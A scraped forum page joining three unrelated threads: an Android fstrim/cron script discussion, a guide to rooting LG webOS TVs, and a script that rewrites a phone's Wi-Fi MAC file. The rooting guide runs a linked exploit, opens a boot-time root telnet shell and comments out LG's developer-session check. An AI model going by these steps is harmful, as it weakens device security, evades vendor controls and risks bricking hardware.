No, to my limited knowledge it should not be harmful (in fact it should increase lifespan - google "fstrim lifespan"). Did a quick google search but could not find anything definitive/reliable regarding frequency...what I did see seemed to suggest 'no' though.
If you are concerned about the frequency, you could not install the init.d script and just use the on-the-fly script, trimdrop, to trim on-demand. Should there be interest and if I have the motivation and time, I have been thinking about making this in to an installer script and/or aroma zip with cron-based options so it could be scheduled hourly, daily, or weekly.
Scheduling options would be awesome!
creeve4 said:
Scheduling options would be awesome!
Click to expand...
Click to collapse
+1
creeve4 said:
Scheduling options would be awesome!
Click to expand...
Click to collapse
BUBA0071 said:
+1
Click to expand...
Click to collapse
Seems there is a decent amount of interest (almost 100 downloads already ...thanks peeps), as such I'll add options and make things more configurable.
Regarding scheduling, I was thinking of doing hourly, daily (with ability to choose time), and weekly (with ability to choose day and time) options. Would every other hour or some other setting be desirable?
Regarding installation, what would be the preferred method, an installer script (e.g. V6 SuperCharger) or AROMA? Flashable zips would be another option, but would have less options/be less configurable.
Gimme some feedback and I'll put something together in the next week or two depending on work and my motivation .
wasn't this a nexus 7 2012 issue and fixed in the new version 2013?
defiant07 said:
Seems there is a decent amount of interest (almost 100 downloads already ...thanks peeps), as such I'll add options and make things more configurable.
Regarding scheduling, I was thinking of doing hourly, daily (with ability to choose time), and weekly (with ability to choose day and time) options. Would every other hour or some other setting be desirable?
Regarding installation, what would be the preferred method, an installer script (e.g. V6 SuperCharger) or AROMA? Flashable zips would be another option, but would have less options/be less configurable.
Gimme some feedback and I'll put something together in the next week or two depending on work and my motivation .
Click to expand...
Click to collapse
My 2 cents:
I would choose a daily option for my device.
I prefer Aroma over a script, but if you cannot get the customization you want with Aroma, then by all means go with a script.
Thanks again for the script and willingness to make it even better!
Thanks for the scripts, I time my startup, and this improved startup time by about 3-4secs, among other noticible improvements, apparently the stock OS does not run fstrim enough, initial operations freed several gigs on the data partition, and hundreds of megs on the others...
creeve4 said:
My 2 cents:
I would choose a daily option for my device.
I prefer Aroma over a script, but if you cannot get the customization you want with Aroma, then by all means go with a script.
Thanks again for the script and willingness to make it even better!
Click to expand...
Click to collapse
+1
Im going to turn this into a cron job, that will take care of scheduling, unless anyone else gets there first ( please lol )
Will give it a go in its present form, whats its resource footprint just sitting there waiting for screen off ?
Can we trigger the action from the screen off event ? or some other interupt type way ?
Great script by the way, your bash is damn site better than mine, jealous lol
KiaraTheDragon said:
wasn't this a nexus 7 2012 issue and fixed in the new version 2013?
Click to expand...
Click to collapse
Yes, I think this is true to a degree...it was more of a problem on the 2012 and other nexus devices. See the links in the OP for the conditions that need to be met for fstrim to autorun...for some users (myself included) the conditions will seldom if ever be met. Also see @mdamaged post; I get similar results the first time fstrim is initiated by my script after each boot...subsequent runs normally only frees up memory on /data.
creeve4 said:
My 2 cents:
I would choose a daily option for my device.
I prefer Aroma over a script, but if you cannot get the customization you want with Aroma, then by all means go with a script.
Thanks again for the script and willingness to make it even better!
Click to expand...
Click to collapse
imfun said:
+1
Click to expand...
Click to collapse
Okay will get to making an AROMA package...it will be my first, but it looks easy enough :fingers-crossed:...gimme a week or two to put it together and fully test.
mdamaged said:
Thanks for the scripts, I time my startup, and this improved startup time by about 3-4secs, among other noticible improvements, apparently the stock OS does not run fstrim enough, initial operations freed several gigs on the data partition, and hundreds of megs on the others...
Click to expand...
Click to collapse
Thanks for the feedback. I get similar results.
jubei_mitsuyoshi said:
Im going to turn this into a cron job, that will take care of scheduling, unless anyone else gets there first ( please lol )
Will give it a go in its present form, whats its resource footprint just sitting there waiting for screen off ?
Can we trigger the action from the screen off event ? or some other interupt type way ?
Great script by the way, your bash is damn site better than mine, jealous lol
Click to expand...
Click to collapse
See the first post on this page and my response to @creeve4 and @imfun in this post. I will make an AROMA package with cron options for fstrim and drop_caches=3.
However, should you feel ambitious and beat me to it, props to you...I will give you full credit in the OP and link your post as the d/l source so you should get the 'thanks' too.
Regarding triggering with screen on/off or some other event: It can probably be done, but I it's beyond my knowledge (screen on/off was actually the first trigger event I looked in to using, but despite fairly extensive searching I could not find how to detect it).
Regarding resource footprint: Read the OP (usage section) it explains where to find the log which contains this info and how to do it via terminal (should you not trust me )...also see OP (benefits section): in all my testing I have never seen it use more that .8 mb, but most of the time it is less than .2 mb.
Okay will get to making an AROMA package...it will be my first, but it looks easy enough :fingers-crossed:...gimme a week or two to put it together and fully test.
Click to expand...
Click to collapse
Can't wait already, because after whole day or two, hard usage of my nexus 7 tablet, the tablet starts to get laggy. I can see this on web browsing, touch press delay time, and onyl rebooting seems to help... Hope after istaling this will solve the problems
ohhh no dont want any credit lol lol, i have turned it into a cron job quite simply by adding it to the cron initilising script
Code:
###########
# IMPORTS #
###########
. /system/etc/init.d.cfg
#############
# FUNCTIONS #
#############
symlink_system_bin() {
# crond has "/bin/sh" hardcoded
if busybox [ ! -h /bin ]
then
mount -o remount,rw rootfs /
busybox ln -s /system/bin /bin
mount -o remount,ro rootfs /
fi
}
export_timezone() {
# set timezone (if you're not between -0500 and -0800 you get PST)
# todo - support other timezones
timezone=`date +%z`
if busybox [ $timezone = "-0800" ]; then
TZ=PST8PDT
elif busybox [ $timezone = "-0700" ]; then
TZ=MST7MDT
elif busybox [ $timezone = "-0600" ]; then
TZ=CST6CDT
elif busybox [ $timezone = "-0500" ]; then
TZ=EST5EDT
else
TZ=PST8PDT
fi
export TZ
}
set_crontab() {
# use /data/cron, call the crontab file "root"
if busybox [ -e /data/cron/root ]
then
mkdir -p /data/cron
cat > /data/cron/root << EOF
0 20 * * * sync; echo 3 > /proc/sys/vm/drop_caches
0 20 * * * sync; fstrim -v /system
0 20 * * * sync; fstrim -v /data
0 20 * * * sync; fstrim -v /cache
01 * * * * busybox run-parts /system/etc/cron/cron.hourly
02 4 * * * busybox run-parts /system/etc/cron/cron.daily
22 4 * * 0 busybox run-parts /system/etc/cron/cron.weekly
EOF
fi
busybox crond -c /data/cron
}
########
# MAIN #
########
if $enable_cron -a is_busybox_applet_available crond
then
symlink_system_bin
export_timezone
set_crontab
fi
adding the lines
Code:
0 20 * * * sync; echo 3 > /proc/sys/vm/drop_caches
0 20 * * * sync; fstrim -v /system
0 20 * * * sync; fstrim -v /data
0 20 * * * sync; fstrim -v /cache
should drop the caches and fstrim every 8 hours, oviously set to anything you want.
i also stuck it in boot at the end
/system/etc/init.d/92jubei
Code:
#!/system/bin/sh
if $file_system_speedups
then
busybox mount -o remount,noatime,barrier=0,nobh /system
busybox mount -o remount,noatime /data
busybox mount -o remount,noatime,barrier=0,nobh /cache
else
busybox mount -o remount,noatime,nobh /system
busybox mount -o remount,noatime /data
busybox mount -o remount,noatime,nobh /cache
fi
echo "$(date +"%r %Y.%m.%d"): Trimming, Dropping."
busybox sync
echo "/system:"
fstrim -v /system
echo "/data:"
fstrim -v /data
echo "/cache:"
fstrim -v /cache
echo "drop caches:"
busybox sysctl -w vm.drop_caches=3
exit 0
For an aroma script you will prob have to stick the file in /system/etc/cron/cron.hourly, daily, weekly and just give peeps that choice, will be most simple way. Ps not a fan of aroma lol
Ok, I should have spotted this issue right away, but did not, so here goes. It seems the use of while loop in the script in the OP causes any scripts with a lower priority in init.d to never get ran, if the script in the OP is the only one in your init.d this does not matter, nor should it matter if you have at boot script with a higher priority (they get ran before the OPs script).
I run the ElementalX kernel which depends on a init.d to initialize some parameters for the kernel, with this script in init.d they never get initialized, in my case this resulted in some things not 'taking' such as the battery life extender, which on my device, is set to stop charging at 4100mv, however, since the while loop kept the ElementalX init.d from running, it kept charging to ~4300mv, this is how I noticed (actually none of my settings wrt ElementalX were being initialized, but this symptom was most pronounced).
A simple fix would be to move up the priority of the ElementalX init.d script, but this would have to be done after each flash, and frankly since I run Tasker anyway, I saw no need for this, what I did was remove the OPs script from init.d and simply made a very simple task in Tasker to run /system/xbin/trimdrop when display goes off, it could just as easily be a time event.
Anyways, hope that helps someone who may come across this with other kernels, or other at-boot scripts which depend on being ran before the OPs script.
Again, thanks to the OP for his work. Also, I added another sync just before the drop caches, since the state of dirtyness could change after the fstrims.

Rooting the webOS TV

pivotce.com informs that instructions have been published on gaining root access to a webOS TV. This is much harder than on the old phones and tablets. When this was done on legacy webOS, there was a wave of enhancements and tweaks made available to phone users from webOS Internals and other developers.
The instructions can be found on the Russian webOS forums here: webos-forums.ru/topic4650.html (English Translation via Google).
As the thread itself notes, this creates the possibility of fiddling with your TV in a way that may turn it into a large, thin brick and will almost certainly invalidate your warranty. The general user should stay well clear of this.
pivotCE published this for information only and recommend leaving investigations to those who know what they are doing or who can afford to wreck expensive television sets. We will watch to see if anything interesting emerges from this development.
+
Detailed analysis of the root access method described above:
forums.webosnation.com/lg-webos-tv/331754-pivotce-seems-webos-tv-has-been-rooted.html#post3450911
Hello!
I'm from webos-forums.ru. I've root on TV for a while and can help you with translation or testing on LG webOS 1.4.
rooting
I could use your help rooting my lg 65uf6450-ua if you would. Thank you
Root webOS
Hodizzal said:
I could use your help rooting my lg 65uf6450-ua if you would. Thank you
Click to expand...
Click to collapse
1. You need to install Developer Mode App and export private ssh-key with CLI (webostv.developer.lge.com/develop/app-test)
2. Convert private ssh-key with puttygen [import key <your private ssh-key>, then save private key]
3. Download exploit (zalil.su/6937580), then connect with TV User: prisoner, [<ip-tv>:9922] + private-key with WinSCP (or other SCP-client), upload to /media/developer on TV and rename it to root.
on linux
Code:
ssh -i <your private ssh-key> [email protected]<ip-tv> -p 9922 "/bin/sh -i"
4.
Code:
chmod +x root
Code:
./root
5. After try install any app from market go to LG App Store and try to install any app.
6. if third stage ok. the insert password 1111 as said.
7.
Code:
busybox chroot /proc/1/root
Code:
[email protected]tTV:/# id
Code:
uid=0(root) gid=0(root)........
I personally use Linux Subsystem on Windows 10 for all of this.
To install .ipk app:
Code:
ApplicationInstallerUtility -c install -p /tmp/<any-name>.ipk -u 0 -l /media/developer -d
Info about your linux kernel and TV firmware:
Code:
luna-send -n 1 -f luna://com.palm.systemservice/osInfo/query '{ "subscribe": false }'
Launch app:
Code:
luna-send -n 1 -f luna://com.webos.applicationManager/launch '{"id": "netflix"}'
All apps ID you can find with
Code:
luna-send -n 1 "palm://com.palm.applicationManager/listLaunchPoints" "{}"
or at a folder /media/cryptofs/apps/usr/palm/applications/<App ID>/appinfo.json
For permanent root access through telnet:
1)
Code:
[email protected]:/# mkdir -p /media/cryptofs/root/etc
2)
Code:
[email protected]:/# cp -r /etc/* /media/cryptofs/root/etc
3)
Code:
[email protected]:/# mount -o bind /media/cryptofs/root/etc /etc
4)
Code:
[email protected]:/# passwd root
Enter any new root password
5)
Code:
cp /media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/start-devmode.sh /tmp/start-devmode.sh
6) Download with WinSCP start-devmode.sh and edit it locally.
You need to add at the beginning
Code:
mount -o bind /media/cryptofs/root/etc /etc
telnetd -l /sbin/sulogin &
Plus you can add the line to launch any App at start, e.g:
Code:
luna-send -n 1 -f luna://com.webos.applicationManager/launch '{"id": "netflix", "params":{}}'
And comment Dev Mode online check.
Here it's mine start-devmode.sh. It's for webOS 1.4. It can be different for other webOS versions:
Code:
#!/bin/sh
mount -o bind /media/cryptofs/root/etc /etc
telnetd -l /sbin/sulogin &
#luna-send -n 1 -f luna://com.webos.applicationManager/launch '{"id": "netflix", "params":{}}'
# FIXME: disable this to turn off script echo
set -x
# FIXME: disable this to stop script from bailing on error
# set -e
# TODO: Check upstart daemon/process tracking (do we need to change /etc/init/devmode.conf? start sshd as daemon?)
# set devmode ssh port here
SSH_PORT="9922"
# set arch:
ARCH="armv71"
grep -qs "qemux86" /etc/hostname && ARCH="i686"
# set directories
OPT_DEVMODE="/opt/devmode"
OPT_SSH="/opt/openssh"
DEVELOPER_HOME="/media/developer"
DEVMODE_SERVICE_DIR="/media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service"
CRYPTO_SSH="$DEVMODE_SERVICE_DIR/binaries-${ARCH}/opt/openssh"
CRYPTO_OPT="$DEVMODE_SERVICE_DIR/binaries-${ARCH}/opt"
if [ -s ${DEVMODE_SERVICE_DIR}/jail_app.conf ] ; then
mv ${DEVMODE_SERVICE_DIR}/jail_app.conf ${DEVELOPER_HOME}
mv ${DEVMODE_SERVICE_DIR}/jail_app.conf.sig ${DEVELOPER_HOME}
fi
if [ -r ${DEVMODE_SERVICE_DIR}/sessionToken ] ; then
mv -f ${DEVMODE_SERVICE_DIR}/sessionToken /var/luna/preferences/devmode_enabled
fi
# Make sure the ssh binaries are executable (in service directory)
if [ ! -x "${CRYPTO_SSH}/sbin/sshd" ] ; then
chmod ugo+x ${CRYPTO_SSH}/sbin/sshd ${CRYPTO_SSH}/bin/ssh* ${CRYPTO_SSH}/bin/scp* || true
chmod ugo+x ${CRYPTO_SSH}/bin/sftp ${CRYPTO_SSH}/lib/openssh/* || true
chmod ugo+x ${CRYPTO_OPT}/devmode/usr/bin/* || true
fi
# TODO: (later) Look for "re-init" flag to re-generate ssh key if requested by app (via devkey service)
# com.palm.service.devmode could have "resetKey" method to erase /var/lib/devmode/ssh/webos_rsa
# Kind of dangerous though, since new key will need to be fetched on the desktop (after reboot)...
# We could just require a hard-reset of the TV which should blow away /var/lib/devmode/ssh/...
# Initialize the developer (client) SSH key pair, if it doesn't already exist
if [ ! -e /var/lib/devmode/ssh/webos_rsa ] ; then
mkdir -p /var/lib/devmode/ssh
chmod 0700 /var/lib/devmode/ssh
# get FIRST six (UPPER-CASE, hex) characters of 40-char nduid from nyx-cmd
# NOTE: This MUST match passphrase as displayed in devmode app (main.js)!
# PASSPHRASE="`/usr/bin/nyx-cmd DeviceInfo query nduid | head -c 6 | tr 'a-z' 'A-Z'`"
# PASSPHRASE="`/usr/bin/nyx-cmd DeviceInfo query nduid | tail -n1 | head -c 6 | tr 'a-z' 'A-Z'`"
PASSPHRASE="`tail /var/lib/secretagent/nduid -c 40 | head -c 6 | tr 'a-z' 'A-Z'`"
${CRYPTO_SSH}/bin/ssh-keygen -t rsa -C "[email protected]" -N "${PASSPHRASE}" -f /var/lib/devmode/ssh/webos_rsa
# copy ssh key to /var/luna/preferences so the devmode service's KeyServer can read it and serve to ares-webos-cli tools
cp -f /var/lib/devmode/ssh/webos_rsa /var/luna/preferences/webos_rsa
chmod 0644 /var/luna/preferences/webos_rsa
# if we generated a new ssh key, make sure we re-create the authorized_keys file
rm -f ${DEVELOPER_HOME}/.ssh/authorized_keys
fi
# Make sure the /media/developer (and log) directories exists (as sam.conf erases it when devmode is off):
mkdir -p ${DEVELOPER_HOME}/log
chmod 777 ${DEVELOPER_HOME} ${DEVELOPER_HOME}/log
# Install the SSH key into the authorized_keys file (if it doesn't already exist)
if [ ! -e ${DEVELOPER_HOME}/.ssh/authorized_keys ] ; then
mkdir -p ${DEVELOPER_HOME}/.ssh
cp -f /var/lib/devmode/ssh/webos_rsa.pub ${DEVELOPER_HOME}/.ssh/authorized_keys || true
# NOTE: authorized_keys MUST be world-readable else sshd can't read it inside the devmode jail
# To keep sshd from complaining about that, we launch sshd with -o "StrictModes no" (below).
chmod 755 ${DEVELOPER_HOME}/.ssh
chmod 644 ${DEVELOPER_HOME}/.ssh/authorized_keys
chown -R developer:developer ${DEVELOPER_HOME}/.ssh
fi
# FIXME: Can we move this to /var/run/devmode/sshd ?
# Create PrivSep dir
mkdir -p /var/run/sshd
chmod 0755 /var/run/sshd
# Create directory for host keys (rather than /opt/openssh/etc/ssh/)
HOST_KEY_DIR="/var/lib/devmode/sshd"
if [ ! -d "${HOST_KEY_DIR}" ] ; then
mkdir -p ${HOST_KEY_DIR}
chmod 0700 ${HOST_KEY_DIR}
fi
# Create initial keys if necessary
if [ ! -f ${HOST_KEY_DIR}/ssh_host_rsa_key ]; then
echo " generating ssh RSA key..."
${CRYPTO_SSH}/bin/ssh-keygen -q -f ${HOST_KEY_DIR}/ssh_host_rsa_key -N '' -t rsa
fi
if [ ! -f ${HOST_KEY_DIR}/ssh_host_ecdsa_key ]; then
echo " generating ssh ECDSA key..."
${CRYPTO_SSH}/bin/ssh-keygen -q -f ${HOST_KEY_DIR}/ssh_host_ecdsa_key -N '' -t ecdsa
fi
if [ ! -f ${HOST_KEY_DIR}/ssh_host_dsa_key ]; then
echo " generating ssh DSA key..."
${CRYPTO_SSH}/bin/ssh-keygen -q -f ${HOST_KEY_DIR}/ssh_host_dsa_key -N '' -t dsa
fi
# Check config
# NOTE: This should only be enabled for testing
#${CRYPTO_SSH}/sbin/sshd -f ${CRYPTO_SSH}/etc/ssh/sshd_config -h ${HOST_KEY_DIR}/ssh_host_rsa_key -t
# Set jailer command
DEVMODE_JAIL="/usr/bin/jailer -t native_devmode -i com.palm.devmode.openssh -p ${DEVELOPER_HOME}/ -s /bin/sh"
#DEVMODE_JAIL="echo"
# Add for debugging, but this will cause sshd to exit after the first ssh login:
# -ddd -e
# Make environment file for openssh
DEVMODE_JAIL_CONF="/etc/jail_native_devmode.conf"
DEVMODE_OPENSSH_ENV="${DEVELOPER_HOME}/.ssh/environment"
if [ -f ${DEVMODE_JAIL_CONF} ]; then
echo " generating environment file from jail_native_devmode.conf..."
find ${DEVMODE_JAIL_CONF} | xargs awk '/setenv/{printf "%s=%sn", $2,$3}' > ${DEVMODE_OPENSSH_ENV}
${DEVMODE_JAIL} /usr/bin/env >> ${DEVMODE_OPENSSH_ENV}
fi
# Set path for devmode
if [ -f ${DEVMODE_OPENSSH_ENV} ]; then
echo "PATH=${PATH}:${OPT_DEVMODE}/usr/bin" >> ${DEVMODE_OPENSSH_ENV}
fi
sleep 5;
for interface in $(ls /sys/class/net/ | grep -v -e lo -e sit);
do
if [ -r /sys/class/net/$interface/carrier ] ; then
if [[ $(cat /sys/class/net/$interface/carrier) == 1 ]]; then OnLine=1; fi
fi
done
#if [ $OnLine ]; then
# sessionToken=$(cat /var/luna/preferences/devmode_enabled);
# checkSession=$(curl --max-time 3 -s https://developer.lge.com/secure/CheckDevModeSession.dev?sessionToken=$sessionToken);
# if [ "$checkSession" != "" ] ; then
# result=$(node -pe 'JSON.parse(process.argv[1]).result' "$checkSession");
# if [ "$result" == "success" ] ; then
rm -rf /var/luna/preferences/dc*;
# # create devSessionTime file to remain session time in devmode app
# remainTime=$(node -pe 'JSON.parse(process.argv[1]).errorMsg' "$checkSession");
# resultValidTimeCheck=$(echo "${remainTime}" | egrep "^([0-9]{1,4}(:[0-5][0-9]){2})$");
# if [ "$resultValidTimeCheck" != "" ] ; then
echo '900:00:00' > ${DEVMODE_SERVICE_DIR}/devSessionTime;
chgrp 5000 ${DEVMODE_SERVICE_DIR}/devSessionTime;
chmod 664 ${DEVMODE_SERVICE_DIR}/devSessionTime;
# fi
# elif [ "$result" == "fail" ] ; then
# rm -rf /var/luna/preferences/devmode_enabled;
# rm -rf /var/luna/preferences/dc*;
# if [ -e ${DEVMODE_SERVICE_DIR}/devSessionTime ] ; then
# rm ${DEVMODE_SERVICE_DIR}/devSessionTime;
# fi
# fi
# fi
#fi
# Cache clear function added (except Local storage)
if [ -e ${DEVMODE_SERVICE_DIR}/devCacheClear ] ; then
rm -rf `ls | find /var/lib/webappmanager*/* -name "Local Storage" -o -name "localstorage" -prune -o -print`;
rm ${DEVMODE_SERVICE_DIR}/devCacheClear;
fi
# Launch sshd
${DEVMODE_JAIL} ${OPT_SSH}/sbin/sshd
-o StrictModes=no
-f ${OPT_SSH}/etc/ssh/sshd_config
-h ${HOST_KEY_DIR}/ssh_host_rsa_key
-o PasswordAuthentication=no -o PermitRootLogin=no -o PermitUserEnvironment=yes
-D -p ${SSH_PORT}
7) Upload new start-devmode.sh and rewrite the old one
Code:
cp /tmp/start-devmode.sh /media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/start-devmode.sh
8) Restart TV.
Connect with telnet and type previously entered password.
Code:
telnet <ip-tv>
Trying <ip-tv>...
Connected to <ip-tv>].
Escape character is '^]'.
webOS TV 1.4.0 LGSmartTV
Give root password for system maintenance
(or type Control-D for normal startup):
Entering System Maintenance Mode
[email protected]:/#
Does it work on WebOS 3.5 devices?
medi01 said:
Does it work on WebOS 3.5 devices?
Click to expand...
Click to collapse
Positive.
is it possible to install webOS 3.0 on an 65EF9500 that currently has WebOS 2.0 via the USB upgrade method?
enkrypt3d said:
is it possible to install webOS 3.0 on an 65EF9500 that currently has WebOS 2.0 via the USB upgrade method?
Click to expand...
Click to collapse
No
Is there any method to get 3.0 installed over 1.4 I have a 49ub8500-ua
syconu said:
Is there any method to get 3.0 installed over 1.4 I have a 49ub8500-ua
Click to expand...
Click to collapse
No
Is there anything hack related that I can do with this to and can is support a new air mouse with a dongle
Ok, so I get run the root app and first ,second , and third stage all are good. then it says try get root password is 1111. But the terminal keeps freezing after that happens. A couple times my tv rebooted too. I cant figure out what i could have messed up. ANyone with any experience using this method have any legit information?
steven817817 said:
Ok, so I get run the root app and first ,second , and third stage all are good. then it says try get root password is 1111. But the terminal keeps freezing after that happens. A couple times my tv rebooted too. I cant figure out what i could have messed up. ANyone with any experience using this method have any legit information?
Click to expand...
Click to collapse
Try to delete all 'cache' files from exploit at /media/developer. It doesn't wotk twice as far as I concerned
Is there anyway I can root my 1.4.0 and if so what r the benefits of the root? Can I install Android or kodi? What's the point
teffd said:
Try to delete all 'cache' files from exploit at /media/developer. It doesn't wotk twice as far as I concerned
Click to expand...
Click to collapse
I tried it stil seems to finish step 3 then says enter 1111. But this is where it freezes up and does not get any further.
Is this still working on 3.6? I'm stuck at try to install any app from market.
Mazda77 said:
Positive.
Click to expand...
Click to collapse
Which TV and firmware version?
Is this possible with UJ63 serie?
Hi, would the root access allow somehow to connect other bluetooth devices different than LG? Thanks!
You can do pretty much anything to the system with root, even include support for unsupported devices in form of additional kernel modules.
For example, I've added Samba support so I can mount use my NAS (see my blog at ddscentral dot org for details).
Hey guys is it possible to install android apps into WebOS? I just bought an Lg oled LG 55EG9A7V i want to use Perfect Player IPTV but i cant install it right now...Other then that i dont need anything else..
Can anyone help me?

reset mac address (tested on lineage os)

original: https://cafe.naver.com/dr1phone/70671
some of it has mac address like 82:82:FF:bla:bla
this may occur some problems using wifi
but this is not a rom's problem,
It is default value of your phone
(why they made it like this?)
you can fix it simply using this script(attached)
run as root using bash on twrp shell or terminal emulator
Code:
echo "* created by djdisodo! *"
echo "Mounting filesystems..."
echo "generating mac address"
export MAC=$(dd if=/dev/urandom bs=1024 count=1 2>/dev/null | md5sum | sed 's/^\(..\)\(..\)\(..\)\(..\)\(..\)\(..\).*$/\1\2\3\4\5\6/')
echo "remounting /persist"
umount /persist
mount -t ext4 /dev/block/bootdevice/by-name/persist /persist
echo "new mac address: " $MAC
echo "removing old mac address"
rm -f /persist/wlan_mac.bin
echo "writing new mac address"
echo $MAC | echo -n -e $(tr -d '[:space:]' | sed 's/../\\x&/g') >> /persist/wlan_mac.bin
for i in $(seq 0 17)
do
echo -n '\0' >> /persist/wlan_mac.bin
done
echo "changing permissions"
chmod 644 /persist/wlan_mac.bin
echo "unmounting partition"
umount /persist
echo "done!"
exit 0
I wanted to make it to flashable zip
but i couldn't
someone will do?

Categories

Resources